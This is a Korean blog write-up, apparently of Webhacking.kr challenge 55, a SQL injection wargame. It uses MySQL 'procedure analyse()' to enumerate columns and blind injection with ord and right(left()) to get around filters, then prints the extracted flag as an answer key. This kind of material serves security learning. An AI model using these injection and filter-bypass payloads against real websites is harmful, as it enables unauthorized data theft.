이 문제는 스스로 풀지 못했다. 좀 어려워서 고민을 하다가 검색을 했다. 근데 많은 사람들의 풀이는 이랬다.
Procedure anaylse() 과 LIMIT의 융합으로 테이블의 모든 컬럼을 가져올 수 있다는 것이다.
예를 들면 이런 식으로 설명을 한다
구문 추측은 SELECT id, score from chall55 where score ~ 이런 식인 것 같다고 하고,
Procedure anaylse()를 사용해서 테이블의 모든 컬럼을 볼 수 있다고 말한다.
select id from table where id = 3 limit 0, 1 procedure anaylse();//첫번쨰 컬럼 정보
select id from table where id = 3 limit 1, 1 procedure anaylse();//두번째 컬럼정보
근데 나는 이게 내 상식선에선 이해가 가지 않는 결과였고, 나 또한 procedure anaylse() 방식을 문제에서 생각하지 않은 이유가
나 역시 쿼리가 select id, score from chall55 where score ~ 이런 식일 것 같은데,
Procedure anaylse() 는 현재 다루고 있는 컬럼(SELECT x 의 x)에 대해서만 정보를 출력하는것으로 알고있었기에, 이것이 쓰인다는 것이 의아했다. 우리가 알아야 할 flag 값을 다루고 있을 세 번째 컬럼은 다루지 않고 있기 때문이다.
그치만 생각해보면, 출력만 안할 뿐이지 아래와 같이 쿼리가 진행되고 있을 가능성도 있다는 깨달음이 들었다.
SELECT id, score, flag from chall55 where ~
이런 형식으로 진행되고 있는 것이 맞는 것 같다. 그래..이래야 내가 알고 있던게 맞지..
procedure anaylse()의 사용에 대해 정확하지 않은 설명들 때문에 괜히 헷갈리기만 했다.
+ 도움될 정확한 정보 참고
websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/
kdname.tistory.com/entry/SQL-Injection-procedure-analyze
자, 이제 다시 돌아와서 이제 쿼리가 위와 같다는 전제 하에 procedure anaylse()를 실행해본다.
1 limit 0, 1 procedure analyse(); // webhacking.chall55.id
1 limit 1, 1 procedure analyse(); // webhacking.chall55.score
1 limit 2, 1 procedure analyse(); // webhacking.chall55.p4ssw0rd_1123581321
주석 처리된 내용처럼, 각 컬럼에 대한 정보들을 차례로 얻어낼 수 있었다.
이제 이 flag 컬럼명에 대해 알았으니 데이터의 길이부터 알아보자.
어차피 모든 p4ssw0rd_1123581321 컬럼의 값은 같으므로 그냥 length로 진행해도 문제가 없다.
score=1 and length(p4ssw0rd_1123581321)=31
이 경우에 참이 나온다. 길이는 31이라는 것
이제 프로그램으로 돌리면 되는데, ascii가 필터링 중이여서 ord를 사용했고 substr가 필터링중이라서 left와 right를 사용했다.
left : 왼쪽에서부터 문자열을 잘라오는 함수
left(문자열, 몇개)
mysql> select left('hello', 1);
+------------------+
| left('hello', 1) |
+------------------+
| h |
+------------------+
1 row in set (0.00 sec)
mysql> select left('hello', 3);
+------------------+
| left('hello', 3) |
+------------------+
| hel |
+------------------+
1 row in set (0.00 sec)
right : 오른쪽에서부터 문자열을 잘라오는 함수
right(문자열, 몇개)
mysql> select right('hello', 1);
+-------------------+
| right('hello', 1) |
+-------------------+
| o |
+-------------------+
1 row in set (0.00 sec)
mysql> select right('hello', 3);
+-------------------+
| right('hello', 3) |
+-------------------+
| llo |
+-------------------+
1 row in set (0.00 sec)
이 둘을 합치면 substr 와 같은 기능을 선보일 수 있다.
mysql> select right(left('hello', 1), 1);
+----------------------------+
| right(left('hello', 1), 1) |
+----------------------------+
| h |
+----------------------------+
1 row in set (0.00 sec)
mysql> select right(left('hello', 2), 1);
+----------------------------+
| right(left('hello', 2), 1) |
+----------------------------+
| e |
+----------------------------+
1 row in set (0.00 sec)
따라서 쿼리는
score=1 and ord(right(left(p4ssw0rd_1123581321,i),1))=j
i = 자릿수, 1부터 시작
j = ascii코드값
돌리면 답이 나온다.
FLAG{easy_peasy_lemon_squeezy!}
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 57번 (0) | 2020.11.26 |
---|---|
[Webhacking.kr] 56번 (0) | 2020.11.25 |
[Webhacking.kr] 54번 (0) | 2020.11.23 |
[Webhacking.kr] 53번 (0) | 2020.11.22 |
[Webhacking.kr] 52번 & 질문 (0) | 2020.11.22 |